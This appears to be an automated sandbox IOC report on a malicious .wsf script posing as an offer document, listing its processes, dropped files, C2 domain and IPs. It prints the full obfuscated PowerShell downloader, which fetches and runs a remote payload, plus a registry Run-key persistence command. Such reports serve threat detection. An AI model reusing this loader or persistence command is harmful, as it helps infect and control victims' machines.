IOC Report
rOferta_SKGNMECLemnedefinitionen353523577.wsf

rOferta_SKGNMECLemnedefinitionen353523577.wsf

XML 1.0 document, ASCII text, with very long lines (336), with CRLF line terminators

initial sample

C:\Users\user\AppData\Roaming\mvourhjs.dat

data

dropped

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\rOferta_SKGNMECLemnedefinitionen353523577.wsf"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Filstandarder = 1;$Uroglena='Substrin';$Uroglena+='g';Function Sarpedon($Historicoprophetic){$Nonmobile=$Historicoprophetic.Length-$Filstandarder;For($Hyletoner=4; $Hyletoner -lt $Nonmobile; $Hyletoner+=(5)){$Rhythms+=$Historicoprophetic.$Uroglena.Invoke($Hyletoner, $Filstandarder);}$Rhythms;}function Bussemnd($revisionsinstituts){. ($Koketten) ($revisionsinstituts);}$Wheens=Sarpedon 'S.ikMOpsgoOrphz MapiIn.al.reelAguraNona/Spid5Indp. sy0Angi T.ef(R ktWRecoiDyknn CoddCarbo,etywChecsCalc TeetNPareTRepl Unf 1Wint0Judo.Erma0Pign;Tilr oxoWBoliiArnonfimr6Desi4S,rv;,and olkxForr6F,la4 .ep; Sup ServrB hevClaw:Reva1Gr,n2Brac1Halo.lept0Poic)s.ep VolaG Mi.eKhmecPhotkCra oFora/Yok 2File0Sgen1Dupl0 Va.0To,e1Ench0Fern1Peri o haF,ophiL.ngrBur.eFleefMeseoDekaxFran/Bias1H.te2Kand1Alph.Term0Opla ';$Coeducationalism=Sarpedon 'forfUUn.esBeewe dlirBor.- StaA AdvgPol,eVin,nKlgetVejs ';$skppeskn=Sarpedon ' lodh,orst.ultt NedpJust: ,ym/Fru /Unes8 La 7 Tel.Reli1Conc2Nons1P.ot. Ans1Kanv0 ede5Damp.ph r1Matr6Chan3Beha/ CouBIndfe,owelUeueyFortvDa.neAmpesAfto2N,np4 App2 M,r.Non,hUdkehAgg,kSop. ';$hyperaktivitet=Sarpedon 'Poly> tue ';$Koketten=Sarpedon 'Bunki At.eOv rxAuto ';$Brugermssige = Sarpedon ',daae C,lcfrithMedio and ,eva% nda,agop.ortpMacrdReviaL,vntK lia oku%Paus\MellS PronJujueRotogSpullPerieValvfPolyaEpaprHydrtOpi..EngeGTil lJmspoBge, Tge&Nong&dime Putoe hatcUnrehperioSpi, Bedu$.pro ';Bussemnd (Sarpedon 'Sort$Fremg AuslDomfoPhilbShataTrevlInde:Fo.lKBrataH,mia ,orrMusidEupae.ordsFlek=G,an(BefrcEn pmPseudEque urn/R dacE,cu Pend$ GemBRul,rAntiu F.rgH gte Hy.rYankmOutpsElecs rteiFatcgNon.e sto)Forr ');Bussemnd (Sarpedon 'Span$.yangFluelSardoMalebKonsaTeknl Amt:SengS lu,t,atorEklee Sann E.tgMatteUddak TigoSkabrrandenoncnUn dePepp=Slag$Subss Ar kSpispTuftpRke eKodrs Gehk ,etnFrys.ShavsDemopLongl JuviAflotFo s(Proc$TaphhFarsyHattpPreoe Gerr PosaE,idkKisstannuiNonmvRtssiAscetHawkeVelutEpit)V.rs ');$skppeskn=$Strengekorene[0];Bussemnd (Sarpedon 'r te$SusbgPak l ElloAdvibProga OpelK,nt:By,tTF acoChorsButisMysteHalvhUnheoUngkvCopseIndbd russtota=TilvNOmrye PubwPse -PhonOEpitbTra,jHardeReamcWh.ttBest RondS Be.ystips PertomgreJoinmAm.i. ArbN iffe ,let,ens. conWExc.eS ntb GedCOve,lSpriiGumme DatnB cktRaad ');Bussemnd (Sarpedon 'Sani$Cla,TNumsoFejlshymnsPe.ge Anhh Foro ubov DeceLamidAflysUdfl.nedgHSvikeRomaaU,dedDicteUninrImpisSkul[Cl.v$ tynCFinaoOpskeD crdUpupu .ricSelva MdetPa liVinkoknognL,msaAn,tl Optiuntrs Adsm.aff] Ra,=ra.p$bleeWMandhK.mieDiseeCananStabs.oom ');$fantasises=Sarpedon 'UnstT B,noSulfsAnsksEmbee T,lhTesko,ollvHandeNumidAtlasDeta.,ituDGrapoK rtw,yhen,perlBrdtoBad.aTrandWeinF IndiGuttl Ch.e Red(Troi$StemsLeafkGge,pDo,apDataeBjersScorkObs,nTe.s,Prei$MezcO GulvRadieTurbr,ordfTypheSahaaUrovrnrmefPreau AftlProdn .veePress,roas Und7Skri9Ring)Fje, ';$fantasises=$Kaardes[1]+$fantasises;$Overfearfulness79=$Kaardes[0];Bussemnd (Sarpedon 'Flex$B.rggJentlMatroAnkybSigraKommlSk,l:ChesNtripeImpodTugtlTernaBraig Pirt Mar=Lab.(StanTRidge Fres S mtTotr-We dPs laaNonetSov htame M.tr$Dis,Oevanv,heieTmm rOpstf F.oeDiseaRoomrRubefWarluSodalBa lnTviveEndos Pins Sth7supe9Gru.) U.d ');while (!$Nedlagt) {Bussemnd (Sarpedon ' For$CajugPiral rihoAnstbCampaRhodl and:tidsJ Fe eSissrDragnH stgpro,iDelstPolttPon eDocorVidesEksteTernnFor gSv.neSolen AnceMe a=Cog.$ B it SchrSrstu PepeRed, ') ;Bussemnd $fantasises;Bussemnd (Sarpedon 'StatS WortByggaxen.r ,tat Rej-PokeSTumol aueRefreSmaapOnom Lsm.4Demo ');Bussemnd (Sarpedon ',roi$Tyf gmuzzlAnfao.ptib SonaCocclS,iv:SyssNShrieMed dF,eklOmflaappegA.but lem=Raag(Pse.TConseAnnss Duetgast-DeliPFoneaKapitA.kehhusk Dy.k$ proODiskvImmueHundrSub,fmilieUninaHei rGoalf ,efu,rbelPensnNe rebedss.pers.osn7tach9Mona) De ') ;Bussemnd (Sarpedon ' Bis$ ontg cutlPoecojgerbTrekaDaimlRegr:SlgtS FruyGildn.ulpiTof,nTubbgYohisApadh NedaMnstlmisclLyseeBelerCommnDia,eTynd=B ne$EucrgAfstllunaoEndob YaraChail fe,:Ta,dKMor,abraveDeltmR.gnpBegrehelboSnipeAntir.uncnBygge Lav+Chad+Hypo%M rg$PereSFl pt StarRingeT,ppnSkbngStr eBestkIsraoDi.qr Hete rdnN ale Kap.BlokcTommoTempu UmanDdfdt Cam ') ;$skppeskn=$Strengekorene[$Syningshallerne];}Bussemnd (Sarpedon 'Shal$DespgCorol FodoNonpb AbdaSemilmoda: TviCFortoAbsemvi.upS,leoParanModieSupen KirtHi maChecl rav .os=Cory LaroGSlogeOenst Com-MiceCEl.aoBemjn ,nttLefteSt.mnTr.btOrds Ditm$AcoeOStrevEpiceJoggrudstfBereeVensaH,ndrH.idfalaruBetilViabnVindeR,ffscoprs,eka7Fore9 Fle ');Bussemnd (Sarpedon ' Uni$ mycgin slMiniolivebFl ea UnelTand:R.liO VisvIsoleDek.rSocisLnpaeC lln slisUdsgiZo.rbAfs.l.ugmeLdre Coun=Lave Marl[UndeSCreayG.nes ,fstPl.seNglem.lev..oluC .uboSovjn.onivCypre OxirPa,ttSkov]foed:Omsk: garFFordrPillo ThemAphoBOxycaJ,nnsButtePape6card4 .msSTjentEfterForsiCalan AntgWhos(Iagt$ KakCChanoHeuamUntrp Couo Ma nEgnseB.ugn Plat S.raForrl .om)Real ');Bussemnd (Sarpedon 'Invu$ bifg Su,lPar,oTritbparaaVejblAn e:GodtNcurioSkamnThi,d GeniJulelUnsiaEcontFrenaStrkbMattlOut e Hor Skor= Skj Dite[FornSThioyhiersDi.it lite Aurmford.Did TLayseDelixP.ritTomo. CorECon.n.lencPlotoFuncdPyrgi Fl nI.eagA.ti]Kryd:Star: lokABoobSParsCMo,eI Ly,IOpt,.PedeGRuthepanct StiSAurotPublr AmbiNonbnIch g Bef(Chyl$.andOSkyfvFrijePinkr .jes DiaeLouvn omps.amoi,houbDe tl B teIsoc)Genu ');Bussemnd (Sarpedon ' Pen$Provg.laylImproLibebTryka s rlInte:Cen DSkovaAscacoutftUbesy UnplAnaloMaimn EksovermmR,styLavi2Lu.r0Deni4Gul,=Stop$UredNMakaoGor.nK.lidRo.tiSy tlSo.aaNonitE,teaReprb NonlParaeN.bl.De isi.dau DiabStibsB.llt manr N,ni He nSureg Nem(Takk2 sti8Absa0Vire4,ami5Equi6Forl, Boo2 L.p7 The2 Kli2skgl5 .ag)Frui ');Bussemnd $Dactylonomy204;"

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sneglefart.Glo && echo $"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Filstandarder = 1;$Uroglena='Substrin';$Uroglena+='g';Function Sarpedon($Historicoprophetic){$Nonmobile=$Historicoprophetic.Length-$Filstandarder;For($Hyletoner=4; $Hyletoner -lt $Nonmobile; $Hyletoner+=(5)){$Rhythms+=$Historicoprophetic.$Uroglena.Invoke($Hyletoner, $Filstandarder);}$Rhythms;}function Bussemnd($revisionsinstituts){. ($Koketten) ($revisionsinstituts);}$Wheens=Sarpedon 'S.ikMOpsgoOrphz MapiIn.al.reelAguraNona/Spid5Indp. sy0Angi T.ef(R ktWRecoiDyknn CoddCarbo,etywChecsCalc TeetNPareTRepl Unf 1Wint0Judo.Erma0Pign;Tilr oxoWBoliiArnonfimr6Desi4S,rv;,and olkxForr6F,la4 .ep; Sup ServrB hevClaw:Reva1Gr,n2Brac1Halo.lept0Poic)s.ep VolaG Mi.eKhmecPhotkCra oFora/Yok 2File0Sgen1Dupl0 Va.0To,e1Ench0Fern1Peri o haF,ophiL.ngrBur.eFleefMeseoDekaxFran/Bias1H.te2Kand1Alph.Term0Opla ';$Coeducationalism=Sarpedon 'forfUUn.esBeewe dlirBor.- StaA AdvgPol,eVin,nKlgetVejs ';$skppeskn=Sarpedon ' lodh,orst.ultt NedpJust: ,ym/Fru /Unes8 La 7 Tel.Reli1Conc2Nons1P.ot. Ans1Kanv0 ede5Damp.ph r1Matr6Chan3Beha/ CouBIndfe,owelUeueyFortvDa.neAmpesAfto2N,np4 App2 M,r.Non,hUdkehAgg,kSop. ';$hyperaktivitet=Sarpedon 'Poly> tue ';$Koketten=Sarpedon 'Bunki At.eOv rxAuto ';$Brugermssige = Sarpedon ',daae C,lcfrithMedio and ,eva% nda,agop.ortpMacrdReviaL,vntK lia oku%Paus\MellS PronJujueRotogSpullPerieValvfPolyaEpaprHydrtOpi..EngeGTil lJmspoBge, Tge&Nong&dime Putoe hatcUnrehperioSpi, Bedu$.pro ';Bussemnd (Sarpedon 'Sort$Fremg AuslDomfoPhilbShataTrevlInde:Fo.lKBrataH,mia ,orrMusidEupae.ordsFlek=G,an(BefrcEn pmPseudEque urn/R dacE,cu Pend$ GemBRul,rAntiu F.rgH gte Hy.rYankmOutpsElecs rteiFatcgNon.e sto)Forr ');Bussemnd (Sarpedon 'Span$.yangFluelSardoMalebKonsaTeknl Amt:SengS lu,t,atorEklee Sann E.tgMatteUddak TigoSkabrrandenoncnUn dePepp=Slag$Subss Ar kSpispTuftpRke eKodrs Gehk ,etnFrys.ShavsDemopLongl JuviAflotFo s(Proc$TaphhFarsyHattpPreoe Gerr PosaE,idkKisstannuiNonmvRtssiAscetHawkeVelutEpit)V.rs ');$skppeskn=$Strengekorene[0];Bussemnd (Sarpedon 'r te$SusbgPak l ElloAdvibProga OpelK,nt:By,tTF acoChorsButisMysteHalvhUnheoUngkvCopseIndbd russtota=TilvNOmrye PubwPse -PhonOEpitbTra,jHardeReamcWh.ttBest RondS Be.ystips PertomgreJoinmAm.i. ArbN iffe ,let,ens. conWExc.eS ntb GedCOve,lSpriiGumme DatnB cktRaad ');Bussemnd (Sarpedon 'Sani$Cla,TNumsoFejlshymnsPe.ge Anhh Foro ubov DeceLamidAflysUdfl.nedgHSvikeRomaaU,dedDicteUninrImpisSkul[Cl.v$ tynCFinaoOpskeD crdUpupu .ricSelva MdetPa liVinkoknognL,msaAn,tl Optiuntrs Adsm.aff] Ra,=ra.p$bleeWMandhK.mieDiseeCananStabs.oom ');$fantasises=Sarpedon 'UnstT B,noSulfsAnsksEmbee T,lhTesko,ollvHandeNumidAtlasDeta.,ituDGrapoK rtw,yhen,perlBrdtoBad.aTrandWeinF IndiGuttl Ch.e Red(Troi$StemsLeafkGge,pDo,apDataeBjersScorkObs,nTe.s,Prei$MezcO GulvRadieTurbr,ordfTypheSahaaUrovrnrmefPreau AftlProdn .veePress,roas Und7Skri9Ring)Fje, ';$fantasises=$Kaardes[1]+$fantasises;$Overfearfulness79=$Kaardes[0];Bussemnd (Sarpedon 'Flex$B.rggJentlMatroAnkybSigraKommlSk,l:ChesNtripeImpodTugtlTernaBraig Pirt Mar=Lab.(StanTRidge Fres S mtTotr-We dPs laaNonetSov htame M.tr$Dis,Oevanv,heieTmm rOpstf F.oeDiseaRoomrRubefWarluSodalBa lnTviveEndos Pins Sth7supe9Gru.) U.d ');while (!$Nedlagt) {Bussemnd (Sarpedon ' For$CajugPiral rihoAnstbCampaRhodl and:tidsJ Fe eSissrDragnH stgpro,iDelstPolttPon eDocorVidesEksteTernnFor gSv.neSolen AnceMe a=Cog.$ B it SchrSrstu PepeRed, ') ;Bussemnd $fantasises;Bussemnd (Sarpedon 'StatS WortByggaxen.r ,tat Rej-PokeSTumol aueRefreSmaapOnom Lsm.4Demo ');Bussemnd (Sarpedon ',roi$Tyf gmuzzlAnfao.ptib SonaCocclS,iv:SyssNShrieMed dF,eklOmflaappegA.but lem=Raag(Pse.TConseAnnss Duetgast-DeliPFoneaKapitA.kehhusk Dy.k$ proODiskvImmueHundrSub,fmilieUninaHei rGoalf ,efu,rbelPensnNe rebedss.pers.osn7tach9Mona) De ') ;Bussemnd (Sarpedon ' Bis$ ontg cutlPoecojgerbTrekaDaimlRegr:SlgtS FruyGildn.ulpiTof,nTubbgYohisApadh NedaMnstlmisclLyseeBelerCommnDia,eTynd=B ne$EucrgAfstllunaoEndob YaraChail fe,:Ta,dKMor,abraveDeltmR.gnpBegrehelboSnipeAntir.uncnBygge Lav+Chad+Hypo%M rg$PereSFl pt StarRingeT,ppnSkbngStr eBestkIsraoDi.qr Hete rdnN ale Kap.BlokcTommoTempu UmanDdfdt Cam ') ;$skppeskn=$Strengekorene[$Syningshallerne];}Bussemnd (Sarpedon 'Shal$DespgCorol FodoNonpb AbdaSemilmoda: TviCFortoAbsemvi.upS,leoParanModieSupen KirtHi maChecl rav .os=Cory LaroGSlogeOenst Com-MiceCEl.aoBemjn ,nttLefteSt.mnTr.btOrds Ditm$AcoeOStrevEpiceJoggrudstfBereeVensaH,ndrH.idfalaruBetilViabnVindeR,ffscoprs,eka7Fore9 Fle ');Bussemnd (Sarpedon ' Uni$ mycgin slMiniolivebFl ea UnelTand:R.liO VisvIsoleDek.rSocisLnpaeC lln slisUdsgiZo.rbAfs.l.ugmeLdre Coun=Lave Marl[UndeSCreayG.nes ,fstPl.seNglem.lev..oluC .uboSovjn.onivCypre OxirPa,ttSkov]foed:Omsk: garFFordrPillo ThemAphoBOxycaJ,nnsButtePape6card4 .msSTjentEfterForsiCalan AntgWhos(Iagt$ KakCChanoHeuamUntrp Couo Ma nEgnseB.ugn Plat S.raForrl .om)Real ');Bussemnd (Sarpedon 'Invu$ bifg Su,lPar,oTritbparaaVejblAn e:GodtNcurioSkamnThi,d GeniJulelUnsiaEcontFrenaStrkbMattlOut e Hor Skor= Skj Dite[FornSThioyhiersDi.it lite Aurmford.Did TLayseDelixP.ritTomo. CorECon.n.lencPlotoFuncdPyrgi Fl nI.eagA.ti]Kryd:Star: lokABoobSParsCMo,eI Ly,IOpt,.PedeGRuthepanct StiSAurotPublr AmbiNonbnIch g Bef(Chyl$.andOSkyfvFrijePinkr .jes DiaeLouvn omps.amoi,houbDe tl B teIsoc)Genu ');Bussemnd (Sarpedon ' Pen$Provg.laylImproLibebTryka s rlInte:Cen DSkovaAscacoutftUbesy UnplAnaloMaimn EksovermmR,styLavi2Lu.r0Deni4Gul,=Stop$UredNMakaoGor.nK.lidRo.tiSy tlSo.aaNonitE,teaReprb NonlParaeN.bl.De isi.dau DiabStibsB.llt manr N,ni He nSureg Nem(Takk2 sti8Absa0Vire4,ami5Equi6Forl, Boo2 L.p7 The2 Kli2skgl5 .ag)Frui ');Bussemnd $Dactylonomy204;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sneglefart.Glo && echo $"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "nyerhvervelsen" /t REG_EXPAND_SZ /d "%Impopular% -w 1 $monotonicity=(Get-ItemProperty -Path 'HKCU:\Weariest\').Amperian;%Impopular% ($monotonicity)"

jgbours284hawara01.duckdns.org

http://pesterbdd.com/images/Pester.png

unknown

http://geoplugin.net/json.gp

178.237.33.50

jgbours284hawara01.duckdns.org

45.88.90.110

45.88.90.110

jgbours284hawara01.duckdns.org

Bulgaria

8650000

direct allocation

page execute and read and write

99BB000

direct allocation

page execute and read and write

23D6A311000

trusted library allocation

page read and write

312C000

heap

page read and write

5AC6000

trusted library allocation

page read and write